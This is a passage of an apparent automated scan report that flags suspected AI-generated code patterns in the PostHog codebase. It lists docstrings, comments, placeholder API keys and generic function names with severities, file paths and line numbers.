MEDIUM…ducts/signals/backend/scout_harness/config_registry.py184 # always auto-enable. A scout is canonical iff it BOTH carries the harness `seeded_by` tag ANDCOMMENT
MEDIUMproducts/signals/backend/scout_harness/lazy_seed.py27# by the headless harness. Single source of truth, two distribution paths.COMMENT
MEDIUMproducts/signals/backend/scout_harness/lazy_seed.py31# names don't carry the `signals-scout-` prefix, so the harness glob, `register_missing_configs`,COMMENT
MEDIUMproducts/signals/backend/scout_harness/lazy_seed.py62# Stamped on `LLMSkill.metadata.seeded_by` for every harness-managed scout row. Its presenceCOMMENT
118 more matches not shown…
Docstring Block Structure64 hits · 320 pts
SeverityFileLineSnippetContext
HIGHproducts/batch_exports/backend/service.py55Align a timestamp to the batch export's interval boundary. For batch exports, intervals can have an offset from theSTRING
HIGH…oducts/batch_exports/backend/temporal/batch_exports.py270Iterate over Arrow batch records for a batch export. TODO: this can be removed once HTTP batch exports are migratedSTRING
HIGH…oducts/batch_exports/backend/temporal/batch_exports.py371Return the start and end of an export's data interval. Args: interval: The interval of the BatchExport assoSTRING
HIGH…ackend/temporal/destinations/snowflake_batch_export.py704Wrap Snowflake connector's polling API in a coroutine. This enables asynchronous execution of queries to releasSTRING
HIGH…ckend/temporal/destinations/databricks_batch_export.py457Execute a query asynchronously and poll for results. This is useful for long running queries as it means we donSTRING
HIGH…backend/temporal/destinations/bigquery_batch_export.py680Execute a query and wait for it to complete. Args: query: The query to execute. start_qSTRING
HIGHproducts/batch_exports/backend/api/batch_export.py90Validate and parse a date/datetime input as a proper dt.datetime. If the interval is daily or weekly, we expect theSTRING
HIGHproducts/experiments/backend/facade/api.py20 Create a new experiment. Transactional safety is provided by ExperimentService.create_experiment. Args: STRING
HIGH…ments/backend/hogql_queries/hogql_aggregation_utils.py31 Extract the aggregation function, inner expression, parameters, and distinct flag from a HogQL expression. ArgSTRING
HIGH…ments/backend/hogql_queries/hogql_aggregation_utils.py103 Build an aggregation function call AST node. Args: aggregation_function: The aggregation function nameSTRING
HIGH…cts/experiments/backend/hogql_queries/metric_source.py50 Factory method to create MetricSourceInfo from any source type. This provides a uniform interface for STRING
HIGH…riments/backend/hogql_queries/funnels_statistics_v2.py21 Calculate the win probabilities for each variant in an experiment using Bayesian analysis for funnel conversionSTRING
HIGH…riments/backend/hogql_queries/funnels_statistics_v2.py145 Determine if the experiment results are statistically significant using Bayesian analysis for funnel conversionSTRING
HIGH…riments/backend/hogql_queries/funnels_statistics_v2.py203 Calculate Bayesian credible intervals for conversion rates of each variant. This function computes the 95% creSTRING
HIGH…ts/backend/hogql_queries/trends_statistics_v2_count.py26 Calculate the win probabilities for each variant in an experiment using Bayesian analysis. This function compuSTRING
HIGH…ts/backend/hogql_queries/trends_statistics_v2_count.py103 Determines if experiment results are statistically significant. This function evaluates whether any variant caSTRING
HIGH…ts/backend/hogql_queries/trends_statistics_v2_count.py168 Calculate Bayesian credible intervals for each variant's rate using a Gamma-Poisson model. Credible intervals STRING
HIGH…ts/backend/hogql_queries/trends_statistics_v2_count.py234 Calculates expected loss in count/rate using Gamma-Poisson conjugate prior. This implementation uses a BayesiaSTRING
HIGH…periments/backend/hogql_queries/funnel_step_builder.py104 Build step columns as constants for DW subquery. Used in UNION ALL queries where each subquery represeSTRING
HIGH…ckend/hogql_queries/trends_statistics_v2_continuous.py30 Calculate the win probabilities for each variant in an experiment using Bayesian analysis for continuous metricSTRING
HIGH…ckend/hogql_queries/trends_statistics_v2_continuous.py190 Calculate Bayesian credible intervals for each variant's mean value using a log-normal model. This function coSTRING
HIGHproducts/experiments/stats/shared/cuped.py161Apply CUPED variance reduction to experiment statistics. This is the main public API. It computes the optimal regreSTRING
HIGHproducts/experiments/stats/frequentist/utils.py16 Calculate point estimate for treatment vs control comparison. Args: treatment_stat: Treatment group stSTRING
HIGHproducts/experiments/stats/frequentist/method.py69 Run statistical test comparing treatment vs control. Args: treatment_stat: Treatment groupSTRING
HIGHproducts/experiments/stats/bayesian/utils.py23 Calculate effect size and its variance for Bayesian analysis. Args: treatment_stat: Treatment group stSTRING
HIGHproducts/experiments/stats/bayesian/method.py119 Run Bayesian statistical test comparing treatment vs control. Args: treatment_stat: TreatmSTRING
HIGHproducts/experiments/stats/bayesian/tests.py154 Run Bayesian t-test comparing treatment vs control. Args: treatment_stat: Treatment group STRING
HIGHproducts/experiments/stats/bayesian/tests.py246 Run Bayesian test for proportion data using Normal approximation. Args: treatment_stat: TrSTRING
HIGHproducts/growth/dags/user_product_list.py26Download a list of emails from an S3 URL and return them as a set. Args: s3_url: S3 URL in format s3://buckSTRING
HIGHproducts/cohorts/backend/models/cohort.py789 Remove a user from the cohort by their UUID. This operation is idempotent - it succeeds even if the peSTRING
HIGH…ckend/temporal/data_imports/sources/hubspot/helpers.py123 Fetch data from HUBSPOT endpoint using a specified API key and yield the properties of each result. For paginatSTRING
HIGH…ckend/temporal/data_imports/sources/hubspot/helpers.py214 Retrieve property names for a given entity from the HubSpot API. Args: entity: The entity name for whiSTRING
HIGHproducts/ai_observability/backend/api/summarization.py245Extract entity ID and validated entity data based on summarize type. Args: summarize_type: 'trace' STRING
HIGHee/hogai/artifacts/manager.py111Retrieve artifact content by ID from the database. Args: artifact_id: The artifact's short ID. STRING
HIGHee/hogai/context/insight/query_executor.py168 Run a query and format the results with detailed fallback information. Args: query: The quSTRING
HIGHee/hogai/context/insight/query_executor.py248 Run a query and format the results with detailed fallback information. Args: query: The quSTRING
HIGHee/hogai/context/insight/query_executor.py295 Execute a query and return the response dict. Args: query: The query object exSTRING
HIGHee/hogai/context/insight/query_executor.py484 Format query results using appropriate formatter based on query type. Args: query: The queSTRING
HIGHee/hogai/chat_agent/parallel_task_execution/nodes.py151 Execute multiple tasks in parallel and yield results as they complete. This method implements true parSTRING
HIGHee/billing/queue/BillingConsumer.py86 Decompress and parse message body based on content encoding. Args: raw_body: The raw messaSTRING
HIGH…on/ingestion/acceptance_tests/test_ai_observability.py82Fetch blob data from S3 using the URL with range parameter. Args: s3_url: URL in format s3://bucket/key?ranSTRING
HIGHcommon/migration_utils/__init__.py72Get the cache path for a migration file. Validates inputs before constructing path to prevent path traversal. STRING
HIGHcommon/migration_utils/__init__.py109Cache a migration file for later rollback. Creates the cache directory structure if needed and copies the migrationSTRING
HIGHposthog/email.py361 Sanitizes properties that will be used in email templates to prevent HTML injection and to defang URL-shaped stSTRING
HIGHposthog/temporal/proxy_service/cloudflare.py125 Create a Custom Hostname in Cloudflare for SaaS. This creates a custom hostname with: - SSL certificate prSTRING
HIGHposthog/temporal/proxy_service/cloudflare.py158 Get details of a Custom Hostname by ID. Args: hostname_id: The Cloudflare Custom Hostname ID RetuSTRING
HIGHposthog/temporal/proxy_service/cloudflare.py182 Find a Custom Hostname by domain name. Args: domain: The customer's domain (e.g., "analytics.customer.STRING
HIGHposthog/temporal/proxy_service/cloudflare.py208 Delete a Custom Hostname. Args: hostname_id: The Cloudflare Custom Hostname ID Returns: TSTRING
HIGH…mporal/ai_observability/trace_clustering/clustering.py39 Determine optimal k using silhouette score and return the clustering results. Args: embeddings: Array STRING
HIGHposthog/clickhouse/client/migration_tools.py36 Executes a SQL query on each node separately with specific options, handling distributed execution and node roles. STRING
HIGHposthog/dags/events_backfill_to_duckling.py766Parse a partition key into team_id and date. Args: key: Partition key in format "{team_id}_{date}" (e.g., "STRING
HIGHposthog/dags/events_backfill_to_duckling.py948Check if a table exists in the DuckLake catalog. Args: conn: psycopg connection to the org's duckgres serveSTRING
HIGHposthog/dags/person_property_reconciliation.py1758 Query ClickHouse for distinct team_ids with property-setting events in the bug window. Args: bug_windoSTRING
HIGHposthog/tasks/process_scheduled_changes.py86 Compute the next scheduled run time based on recurrence interval. Uses relativedelta for reliable date arithmeSTRING
HIGHposthog/tasks/alerts/detectors/registry.py27 Factory function to create detector from config. Args: config: Detector configuration dict with 'type'STRING
HIGHposthog/models/person/point_in_time_properties.py33 Helper function to get person object and all distinct_ids for a person based on either distinct_id or person_id. STRING
HIGHposthog/models/person/point_in_time_properties.py112 Build person properties at a specific point in time from ClickHouse events. Args: team_id: The team IDSTRING
HIGHposthog/api/capture.py562 capture_batch_internal submits multiple capture request payloads to capture-rs on behalf of a customer team. TSTRING
HIGHposthog/api/capture.py746 capture_internal submits a single-event capture request payload to the capture-rs backend service. This is theSTRING
HIGHposthog/api/authentication.py542 Handle passkey-based 2FA authentication. Args: request: The HTTP request user:STRING
4 more matches not shown…
AI Structural Patterns194 hits · 164 pts
SeverityFileLineSnippetContext
LOWtools/hogbox-preview/hogbox_preview/hogland_backend.py77CODE
LOW…ols/hogli-commands/hogli_commands/tests/test_devbox.py861CODE
LOWtools/hogli-commands/hogli_commands/devbox/coder.py1202CODE
LOWproducts/metrics/backend/tests/_seeder.py46CODE
LOWproducts/metrics/backend/tests/_seeder.py108CODE
LOW…ducts/batch_exports/backend/temporal/temporary_file.py64CODE
LOW…ducts/batch_exports/backend/temporal/temporary_file.py643CODE
LOWproducts/batch_exports/backend/temporal/utils.py252CODE
LOW…nd/temporal/destinations/file_download_batch_export.py275CODE
LOW…backend/temporal/destinations/postgres_batch_export.py632CODE
LOW…ports/backend/temporal/destinations/s3_batch_export.py741CODE
LOW…backend/temporal/destinations/bigquery_batch_export.py1088CODE
LOW…/tests/temporal/destinations/base_destination_tests.py292CODE
LOW…xports/backend/tests/temporal/destinations/s3/utils.py174CODE
LOW…/tests/temporal/destinations/bigquery/test_activity.py56CODE
LOW…/backend/tests/temporal/destinations/bigquery/utils.py59CODE
LOW…s/temporal/destinations/snowflake/test_workflow_e2e.py46CODE
LOW…backend/tests/temporal/destinations/snowflake/utils.py367CODE
LOW…s/temporal/destinations/snowflake/test_activity_e2e.py48CODE
LOW…/tests/temporal/destinations/redshift/test_activity.py38CODE
LOW…s/temporal/destinations/redshift/test_copy_activity.py59CODE
LOW…/backend/tests/temporal/destinations/redshift/utils.py57CODE
LOW…/tests/temporal/destinations/postgres/test_activity.py38CODE
LOW…/batch_exports/backend/tests/temporal/utils/persons.py100CODE
LOW…tch_exports/backend/api/destination_tests/snowflake.py222CODE
LOW…tch_exports/backend/api/destination_tests/snowflake.py314CODE
LOWproducts/cdp/backend/api/test/test_hog_function.py1563CODE
LOWproducts/cdp/backend/api/test/test_hog_function.py1598CODE
LOW…oducts/mcp_analytics/backend/tests/test_tool_tables.py205CODE
LOWproducts/marketing_analytics/backend/test_max_tools.py81CODE
LOWproducts/marketing_analytics/backend/test_max_tools.py119CODE
LOW…hogql_queries/test/test_error_tracking_query_runner.py171CODE
LOWproducts/tasks/backend/models.py446CODE
LOWproducts/tasks/backend/models.py660CODE
LOWproducts/tasks/backend/models.py706CODE
LOWproducts/tasks/backend/logic/repo_selection/agent.py341CODE
LOW…kend/logic/services/custom_prompt_multi_turn_runner.py52CODE
LOW…kend/logic/services/custom_prompt_multi_turn_runner.py141CODE
LOW…ducts/tasks/backend/logic/services/living_artifacts.py149CODE
LOWproducts/tasks/backend/logic/services/sandbox.py163CODE
LOWproducts/tasks/backend/logic/services/sandbox.py301CODE
LOWproducts/tasks/backend/logic/services/modal_sandbox.py878CODE
LOWproducts/tasks/backend/logic/services/modal_sandbox.py996CODE
LOWproducts/tasks/backend/logic/services/docker_sandbox.py742CODE
LOWproducts/tasks/backend/logic/services/docker_sandbox.py831CODE
LOWproducts/tasks/backend/facade/api.py746CODE
LOWproducts/endpoints/backend/logic/execution.py142CODE
LOWproducts/experiments/backend/experiment_service.py828CODE
LOWproducts/experiments/backend/experiment_service.py3762CODE
LOWproducts/data_catalog/backend/logic/metrics.py191CODE
LOWproducts/signals/backend/scout_report/persistence.py98CODE
LOWproducts/signals/backend/report_generation/research.py629CODE
LOW…ueries/stickiness/test/test_stickiness_query_runner.py270CODE
LOW…cts/review_hog/backend/tests/test_temporal_workflow.py64CODE
LOWproducts/workflows/backend/api/message_assets.py188CODE
LOW…ucts/workflows/backend/api/test/test_message_assets.py18CODE
LOW…s/backend/api/test/test_hog_flow_invocation_results.py20CODE
LOW…ts/data_modeling/backend/logic/gitsync/model_parser.py194CODE
LOWproducts/cohorts/backend/models/cohort.py68CODE
LOWproducts/web_analytics/backend/max_tools.py256CODE
134 more matches not shown…
Synthetic Comment Markers13 hits · 75 pts
SeverityFileLineSnippetContext
HIGHproducts/workflows/mcp/apps/EmailTemplateView.test.tsx46 // AI-generated html must not be able to run scripts.COMMENT
HIGHproducts/exports/backend/models/subscription.py578 # AI-generated summary sent in the delivery, when summary_enabled is on for the subscription.COMMENT
HIGHproducts/actions/backend/models/action.py58 summary = models.TextField(blank=True, null=True, help_text="A summary of the action, generated by AI")CODE
HIGH…bservability/skills/exploring-llm-evaluations/SKILL.md98### Step 2 — Get the AI-generated summaryCOMMENT
HIGHproducts/surveys/backend/models.py274 # AI-generated headline summarySTRING
HIGHproducts/surveys/backend/models.py278 # AI-generated per-question summariesSTRING
HIGHproducts/surveys/backend/models.py285 # Used as the "original" label in the editor and as the source language for AI-generated translations.STRING
HIGHproducts/surveys/backend/api/survey.py250 help_text="Editor field paths generated by AI and safe to highlight as draft content.",CODE
HIGHfrontend/src/scenes/insights/insightDataLogic.tsx224 // AI-generated link) have no default to compare against, so treat as changedCOMMENT
HIGH…c/lib/components/HedgehogMode/HedgehogMode.stories.tsx20// NOTE: 100% generated by ChatGPT for fun!COMMENT
HIGHee/api/test/test_subscription.py2090 # row so they fall below the read level required to see AI-generated report content.COMMENT
HIGH.agents/skills/survey-sdk-audit/SKILL.md316_This issue was generated by Claude using the `/survey-sdk-audit` skill._CODE
HIGH…_recordings/sql/session_replay_event_migrations_sql.py356# MIGRATION: Add AI-generated columns for session taggingSTRING
Slop Phrases25 hits · 46 pts
SeverityFileLineSnippetContext
LOWproducts/feature_flags/backend/flag_analytics.py46# :NOTE: When making changes here, make sure you run test_no_interference_between_different_types_of_new_incoming_incremCOMMENT
LOWproducts/feature_flags/backend/models/feature_flag.py114 # When adding new fields, make sure to update organization_feature_flags.py::copy_flagsCOMMENT
MEDIUM…backend/templates/announce_a_new_feature_template.json771 "html": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional //EN\" \"http://www.w3.oCODE
LOWproducts/web_analytics/backend/hogql_queries/ctes.py64# but means that when you use parse_select on it, you'll need to make sure you include theSTRING
MEDIUMproducts/revenue_analytics/dags/exchange_rate.py20 # NOTE: For local development, you can add this key to a `.env` file in the root of the projectCOMMENT
LOWproducts/notebooks/backend/models.py84 # When adding a new foreign key, make sure to add the foreign key field and append field nameCOMMENT
LOW…/backend/lazy_computation/lazy_computation_executor.py647 # Don't forget to add the last rangeCOMMENT
LOW…src/scenes/settings/environment/replayTriggersLogic.ts224 ${sanitizedUrl}, ${sanitizedUrl}/, ${sanitizedUrl}/page, etc. Don't forget to include https:// aCODE
LOW…src/scenes/settings/environment/replayTriggersLogic.ts241 ${sanitizedUrl}, ${sanitizedUrl}/, ${sanitizedUrl}/page, etc. Don't forget to include https:// aCODE
MEDIUM…ntend/src/scenes/surveys/SurveyWidgetCustomization.tsx74 info="Enter a class or ID selector for the feedback button, like .feedback-button or #feCODE
LOW…omponents/IngestionControls/triggers/urlConfigLogic.ts92 ${sanitizedUrl}, ${sanitizedUrl}/, ${sanitizedUrl}/page, etc. Don't forget to include https:// aCODE
MEDIUMee/hogai/core/runner.py345 content="I'm unable to process this request. The conversation may be too long. Please start a neCODE
MEDIUMee/hogai/core/runner.py369 content="I'm unable to respond right now due to a temporary service issue. Please try again lateCODE
MEDIUMee/hogai/core/runner.py393 content="I'm unable to respond right now due to a temporary service issue. Please try again lateCODE
MEDIUMee/hogai/core/runner.py417 content="I'm unable to respond right now. Please try again later.",CODE
MEDIUMee/hogai/core/test/test_runner.py125 "I'm unable to process this request. The conversation may be too long. Please start a new conversation."CODE
MEDIUMee/hogai/core/test/test_runner.py219 "I'm unable to respond right now due to a temporary service issue. Please try again later.",CODE
MEDIUMee/hogai/core/test/test_runner.py281 "I'm unable to respond right now due to a temporary service issue. Please try again later.",CODE
MEDIUMee/hogai/core/test/test_runner.py342 "I'm unable to respond right now. Please try again later.",CODE
MEDIUMrust/cyclotron-node/examples/basic.js27 // Most processes will only need to do one of these, but we can do both here for demonstration purposesCOMMENT
MEDIUM.dagster_home/workspace.yaml4 ## Most dags are not loaded in local dev, but you can add things if you believe they belong here.COMMENT
LOWposthog/urls.py550 # NOTE: When adding paths here that should be public make sure to update ALWAYS_ALLOWED_ENDPOINTS in middleware.pyCOMMENT
LOWposthog/models/tagged_item.py38 # When adding a new taggeditem-model relationship, make sure to add the foreign key field and append field name toCOMMENT
MEDIUMposthog/models/exchange_rate/currencies.py8# If you need a currency that's not in this list, you can add it to the list byCOMMENT
LOW…hogql/transforms/preaggregated_table_transformation.py434 # Some of these could be supported in the future, if you add them, make sure you add some tests!COMMENT
Magic Placeholder Names5 hits · 25 pts
SeverityFileLineSnippetContext
HIGHrust/capture-logs/README.md68 -H "Authorization: Bearer your-api-key" \CODE
HIGHrust/capture-logs/README.md79 -H "Authorization: Bearer your-api-key" \CODE
HIGHdocs/onboarding/product-analytics/helicone.tsx39 api_key="your-api-key-here", # Replace with your OpenAI API keyCODE
HIGHdocs/onboarding/ai-observability/vercel-ai-gateway.tsx152 api_key="<your_api_key>",CODE
HIGHdocs/onboarding/ai-observability/vercel-ai-gateway.tsx173 apiKey: '<your_api_key>',CODE
Dead Code11 hits · 22 pts
SeverityFileLineSnippetContext
MEDIUM…eling/backend/test/test_preview_freshness_schedules.py24CODE
MEDIUM…eling/backend/test/test_preview_freshness_schedules.py58CODE
MEDIUM…/data_modeling/backend/test/test_schedule_reconcile.py220CODE
MEDIUM…orts/sources/common/rest_source/tests/test_resource.py14CODE
MEDIUMee/hogai/core/test/test_agent_executor.py530CODE
MEDIUMee/hogai/core/test/test_runner.py29CODE
MEDIUMee/hogai/core/test/test_runner.py763CODE
MEDIUMee/hogai/stream/test/test_redis_stream.py356CODE
MEDIUM…thog/temporal/tests/data_modeling/test_run_workflow.py1788CODE
MEDIUM…thog/temporal/tests/data_modeling/test_run_workflow.py1851CODE
MEDIUMservices/llm-gateway/tests/test_streaming_errors.py232CODE
Overly Generic Function Names21 hits · 20 pts
SeverityFileLineSnippetContext
LOWproducts/tasks/backend/logic/services/sandbox.py283 def execute_task(CODE
LOWproducts/tasks/backend/logic/services/modal_sandbox.py857 def execute_task(CODE
LOWproducts/tasks/backend/logic/services/docker_sandbox.py720 def execute_task(CODE
LOWproducts/tasks/backend/facade/api.py3945def run_task(CODE
LOW…rts/pipelines/pipeline/test/test_delta_table_helper.py68def helper():CODE
LOWfrontend/src/lib/ui/Collapsible/Collapsible.stories.tsx87 {`function handleRequest(req, res) {CODE
LOWee/hogai/chat_agent/parallel_task_execution/nodes.py185 async def execute_task(callable_func=task_callable, input_data=input_dict):CODE
LOW.semgrep/rules/security/data-imports-http-transport.py124def do_something() -> None:CODE
LOW.semgrep/rules/security/data-imports-grpc-transport.py88def do_something() -> None:CODE
LOWcommon/storybook/.storybook/public/mockServiceWorker.js121async function handleRequest(event, requestId, requestInterceptedAt) {CODE
LOWposthog/clickhouse/client/test/test_tracing.py19 def test_function(CODE
LOWposthog/clickhouse/client/test/test_tracing.py74 def test_function(CODE
LOWposthog/clickhouse/client/test/test_tracing.py104 def test_function(CODE
LOWposthog/clickhouse/client/test/test_tracing.py134 def test_function(CODE
LOWposthog/clickhouse/client/test/test_tracing.py177 def test_function(CODE
LOWposthog/clickhouse/client/test/test_tracing.py207 def test_function(CODE
LOWposthog/clickhouse/client/test/test_tracing.py236 def test_function(CODE
LOWposthog/clickhouse/client/test/test_tracing.py266 def test_function(CODE
LOWposthog/clickhouse/client/test/test_tracing.py288 def test_function(CODE
LOWposthog/clickhouse/client/test/test_tracing.py310 def test_function(CODE
LOWposthog/slo/context.py18 def helper() -> None:STRING
Example Usage Blocks13 hits · 20 pts
SeverityFileLineSnippetContext
LOWnodejs/src/logs/sampling-seed-services-curl.sh13# Usage:COMMENT
LOWtools/phrocs/install.sh4# Usage:COMMENT
LOW…/agent_platform/services/agents/scripts/smoke-local.sh7# Usage:COMMENT
LOW…ervices/agent-sandbox-host/scripts/smoke-test-image.sh18# Usage:COMMENT
LOWbin/send-dev-metrics.sh5# Usage:COMMENT
LOWlivestream/docker-compose.integration.yml4# Usage:COMMENT
LOWcommon/storybook/update-storybook-timings.sh6# Usage:COMMENT
LOW.github/workflows/rust-smoke-test-build.yml7# Usage:COMMENT
LOW…b/scripts/verify-playwright-new-tests-and-snapshots.sh7# Usage:COMMENT
LOW.github/scripts/verify-storybook-new-stories.sh7# Usage:COMMENT
LOW.github/scripts/compare-ci-runners.py10# Usage:COMMENT
LOWposthog/management/commands/js_snippet_version.py25# Usage:COMMENT
LOWposthog/models/scoping/__init__.py14# Usage:COMMENT
AI Response Leakage1 hit · 8 pts
SeverityFileLineSnippetContext
HIGH…nd/hogql_queries/test/test_web_stats_pre_aggregated.py420 # Note: PAGE and VIEWPORT breakdowns are excluded. I will add them back in later.COMMENT
TODO Padding4 hits · 5 pts
SeverityFileLineSnippetContext
LOWee/tasks/subscriptions/slack_subscriptions.py130 # TODO: Write error to subscription...COMMENT
LOWee/api/rbac/test/test_access_control.py1358# TODO: Add tests to check that a dashboard can't be edited if the user doesn't have accessCOMMENT
LOWrust/batch-import-worker/src/parse/content/amplitude.rs1361 // TODO: Add test for cache failure scenarios once we have better error handlingCOMMENT
LOW…es/insights/funnels/funnel_correlation_query_runner.py989 # TODO: implement or removeSTRING